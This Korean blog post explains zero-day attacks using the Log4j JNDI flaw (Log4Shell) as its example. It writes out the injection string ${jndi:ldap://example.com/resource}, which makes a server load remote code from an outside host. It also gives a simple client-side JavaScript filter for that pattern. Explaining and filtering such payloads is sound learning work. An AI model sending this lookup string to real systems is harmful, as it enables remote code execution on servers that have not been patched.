Notice
Recent Posts
Recent Comments
Link
05-03 08:49
«   2025/05   »
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
Archives
Today
Total
관리 메뉴

<<개발일지>>

제로데이 공격 본문

보안

제로데이 공격

개발하는지호 2024. 8. 16. 14:37

각종 해커들의 공격을 공부하다 보면 다양하게 접하게 되는데, 이번에는 제로데이 공격이라는 것을 들었다.

 

제로데이 공격이란?

제로데이(Zero-day) 공격은 소프트웨어나 하드웨어의 보안 취약점이 발견되었을 때, 이를 악용하는 사이버 공격을 의미한다. 좀 더 자세히 얘기하자면, "제로데이"라는 용어는 취약점이 공개되거나 패치(보안 업데이트)가 배포되기 전에 공격이 이루어진다는 뜻에서 비롯되었다.

 

즉, 소프트웨어 개발자나 보안 전문가가 문제를 인지하기 전에 공격자가 이를 먼저 이용하는 것이 핵심이다.

 

제로데이 공격의 주요 특징

 

1. 취약점의 비공개성 : 취약점이 아직 공개되지 않았기 때문에 소프트웨어 제작자나 보안팀이 이를 해결할 시간적 여유가 없다.

 

2. 예방 어려움 : 취약점이 존재하는 사실 자체를 모르기 때문에 방어하거나 예방하기 어렵다.

 

3. 높은 위험성 : 제로데이 공격은 빠르게 확산될 수 있으며, 피해 규모가 클 수 있다. 특히, 정부 기관이나 대기업, 금융기관 등이 주요 타겟이 될 수 있다.

 

4. 패치 전 지속 공격 가능 : 제로데이 공격은 취약점이 알려지고 보안 패치가 배포되기 전까지 지속된다. 패치가 나와도 공격자는 이를 계속 악용하려고 시도할 수 있다.

 

 

제로데이 공격 예시

<<Log4j의 JNDI 공격>>

 

최근에는 Log4J 라이브러리를 활용한 제로데이 공격이 있었다. Log4j는 자바 기반의 로그 라이브러리로, 많은 애플리케이션에서 로그를 남기는 데 사용된다. 그러나 이 라이브러리에서 JNDI 조회 기능을 악용하는 사례로 전 세계를 놀라게 했다.

 

JNDI(Java Naming and Directory Interface) : JNDI는 자바 애플리케이션에서 디렉토리 및 네이밍 서비스에 접근할 수 있도록 도와주는 API 이다. 이를 통해 외부 자원, 네트워크 상의 데이터베이서, 객체 등을 쉽게 찾고 사용할 수 있다. 

 

공격 방식

 

1. 로그 기록을 남기는 곳을 공략한다.

 

2. '${}' 구문을 사용한다. 여기서 '${}' 을 붙이는 이유는 Log4j에서 동적 변수를 해석하는 방식(플레이스홀더)이기 때문이다. '${java:version}' 은 자바 버전을 로그에 출력하는 기능을 한다. 즉, 이는 특정 작업을 수행할 명령어나 변수 값으로 해석한다.

 

3. '${}' 를 활용하여 java API인 JNDI를 넣어준다.  ${jndi:ldap://example.com/resource}

 

4. 그러면  이 로그를 받은 서버는 ${jndi:ldap://example.com/resource이를 명령어로 여기고 실행시킨다.

 

5. 악용하는 유저가 ${jndi:ldap://example.com/resource여기에 악용하는 자원을 외부에서 요청해서 가져와 원격으로 실행할 수 있다. 이로써 취약점이 발생한다.

 

해결 방법

해결 방법은 여러가지 방식이 있겠지만, 우선 클라이언트 측에서 JavaScript를 활용해서 JNDI 가 포함된 데이터를 검증하고 변형시키는 방법이 있다. 

document.querySelector("#userInput").addEventListener("input", function(e) {
    let input = e.target.value;
    // JNDI 패턴 탐지
    if (input.includes("${jndi:")) {
        // 경고를 띄우거나 변형 처리
        alert("JNDI 패턴이 감지되었습니다!");
        e.target.value = input.replace("${jndi:", "{jndi:"); // 변형 처리
    }
});

 

하지만 이는 개발자 도구 또는 해킹 툴로 다시 변형을 시켜 서버로 전달할 수 있는 한계가 있다.

 

이를 완벽하게 해결하기 위해서는 서버에서 최종 검증을 할 필요가 있다.(ex 필터)

 

예를 들면 서버에서 필터링을 우선 통과하는 과정을 통해 '${jndi: ~ } 값을 발견하여 변형시킨다.

 

 


 

이렇게 가장 최근에 발생한 것으로 제로데이 공격에 대해 작성해 보았다. 이 말고도 현재 보안개발자가 발견하지 못한 취약점이 있다면 언제든 발생할 수 있는 것이 '제로데이 공격' 이다. 

 

우리는 이를 막기 위해서 더욱 보안에 신경을 써야 하며 빈틈을 없애기 위해 많은 노력을 해야한다.

 

 

 

참고:

https://www.kisec.com/rsrh_rpt_det.do?id=783

 

한국정보보호교육센터

Log4Shell log4j 버전2에서 발견된 RCE 0day 취약점 (CVE-2021-44228)_21116 ※ 해당 기법은 사전에 구축된 테스트 환경에서 공격 기법 연구를 위한 목적으로만 사용하시기 바랍니다. 1. 취약점 개요 1-1. 취약

www.kisec.com

 

'보안' 카테고리의 다른 글

Credential Stuffing VS 무차별 대입 공격 -작성중-  (0) 2025.01.08
Credential Stuffing 이란  (0) 2025.01.08
제로데이 공격-2  (2) 2024.10.12
스크래핑이란  (0) 2024.07.05